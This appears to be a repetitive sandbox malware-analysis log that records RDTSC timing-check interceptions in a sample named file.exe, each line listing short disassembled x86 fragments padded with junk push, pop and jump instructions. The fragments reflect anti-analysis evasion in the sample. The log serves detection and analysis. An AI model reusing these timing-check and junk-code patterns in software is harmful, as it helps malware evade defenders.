Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544D62 second address: 544D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544FDF second address: 545013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F07BCC9CC48h 0x0000000a jp 00007F07BCC9CC42h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545013 second address: 54502F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Ah 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jg 00007F07BCDD7696h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0EC second address: 54E0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C208 second address: 54C20C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C20C second address: 54C240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007F07BCC9CC36h 0x0000000d jnc 00007F07BCC9CC36h 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F07BCC9CC51h 0x0000001d jmp 00007F07BCC9CC45h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C240 second address: 54C244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C244 second address: 54C253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F07BCC9CC3Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C253 second address: 54C25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C25B second address: 54C269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F07BCC9CC36h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C392 second address: 54C39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F07BCDD7696h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C39F second address: 54C3A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C7A6 second address: 54C7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F07BCDD7696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C7B0 second address: 54C7E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F07BCC9CC38h 0x00000010 push ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F07BCC9CC47h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C7E6 second address: 54C7F2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F07BCDD7696h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C7F2 second address: 54C7F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CD47 second address: 54CD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007F07BCDD7696h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D010 second address: 54D01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F07BCC9CC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01A second address: 54D01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01E second address: 54D034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F07BCC9CC40h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DACC second address: 54DAD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DAD3 second address: 54DAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552A22 second address: 552A36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B4A second address: 551B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552256 second address: 55225C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5523BE second address: 5523C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F07BCC9CC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5523C8 second address: 5523D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F07BCDD7696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5523D7 second address: 55240F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC48h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F07BCC9CC45h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55240F second address: 552415 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552415 second address: 552427 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F07BCC9CC38h 0x00000008 js 00007F07BCC9CC3Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5525B5 second address: 5525BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5525BA second address: 5525BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552717 second address: 55273A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F07BCDD7696h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55273A second address: 552757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC43h 0x00000007 jnl 00007F07BCC9CC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D6CB second address: 55D6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F07BCDD7696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D6D5 second address: 55D6DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D6DB second address: 55D6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D6E1 second address: 55D6E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D82B second address: 55D832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DB19 second address: 55DB1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DE50 second address: 55DE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DFA2 second address: 55DFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DFA8 second address: 55DFAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DFAE second address: 55DFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F07BCC9CC3Fh 0x0000000d jmp 00007F07BCC9CC3Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E125 second address: 55E139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E139 second address: 55E13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E13D second address: 55E145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E145 second address: 55E14E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E14E second address: 55E154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E524 second address: 55E536 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F07BCC9CC3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EC8E second address: 55ECC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A1h 0x00000007 jmp 00007F07BCDD76A5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jng 00007F07BCDD769Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D2D4 second address: 55D2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56599F second address: 5659AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jp 00007F07BCDD7696h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5659AE second address: 5659CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F07BCC9CC40h 0x0000000d jbe 00007F07BCC9CC36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5659CE second address: 5659EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F07BCDD76A0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5659EA second address: 565A11 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F07BCC9CC36h 0x00000008 jnc 00007F07BCC9CC36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F07BCC9CC47h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565CFE second address: 565D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F07BCDD7696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565D0A second address: 565D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA88 second address: 49EA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA8E second address: 49EA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA93 second address: 49EA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA99 second address: 49EAC7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F07BCC9CC3Fh 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F07BCC9CC3Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577805 second address: 577815 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F07BCDD7696h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577815 second address: 577819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A2E6 second address: 57A2EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A2EA second address: 57A2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A2F0 second address: 57A2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A2F6 second address: 57A307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F07BCC9CC36h 0x00000009 js 00007F07BCC9CC36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579E66 second address: 579E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579E6C second address: 579E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579E70 second address: 579E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F07BCDD769Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579E82 second address: 579E93 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F07BCC9CC3Ch 0x00000008 js 00007F07BCC9CC36h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579E93 second address: 579E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 579FFE second address: 57A004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A004 second address: 57A01B instructions: 0x00000000 rdtsc 0x00000002 je 00007F07BCDD76A2h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E9BF second address: 57E9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F07BCC9CC36h 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E9D5 second address: 57E9EB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F07BCDD769Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E9EB second address: 57E9F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E9F2 second address: 57EA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F07BCDD76A8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EBED second address: 58EC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jo 00007F07BCC9CC36h 0x00000013 jmp 00007F07BCC9CC42h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EC13 second address: 58EC35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F07BCDD7696h 0x0000000f jmp 00007F07BCDD769Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EC35 second address: 58EC39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EC39 second address: 58EC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EDA0 second address: 58EDAA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EDAA second address: 58EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EF16 second address: 58EF1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EF1C second address: 58EF21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F071 second address: 58F075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F075 second address: 58F083 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F083 second address: 58F095 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F07BCC9CC36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F095 second address: 58F0AC instructions: 0x00000000 rdtsc 0x00000002 je 00007F07BCDD7696h 0x00000008 jnl 00007F07BCDD7696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F1E3 second address: 58F1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F1E7 second address: 58F1EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F377 second address: 58F3A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jg 00007F07BCC9CC61h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F3A1 second address: 58F3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592DD1 second address: 592DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592DD9 second address: 592DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592DEC second address: 592E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC40h 0x00000009 jmp 00007F07BCC9CC44h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F07BCC9CC45h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e ja 00007F07BCC9CC36h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592932 second address: 59294B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F07BCDD7696h 0x0000000a popad 0x0000000b js 00007F07BCDD769Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592ABA second address: 592AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592AC0 second address: 592AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
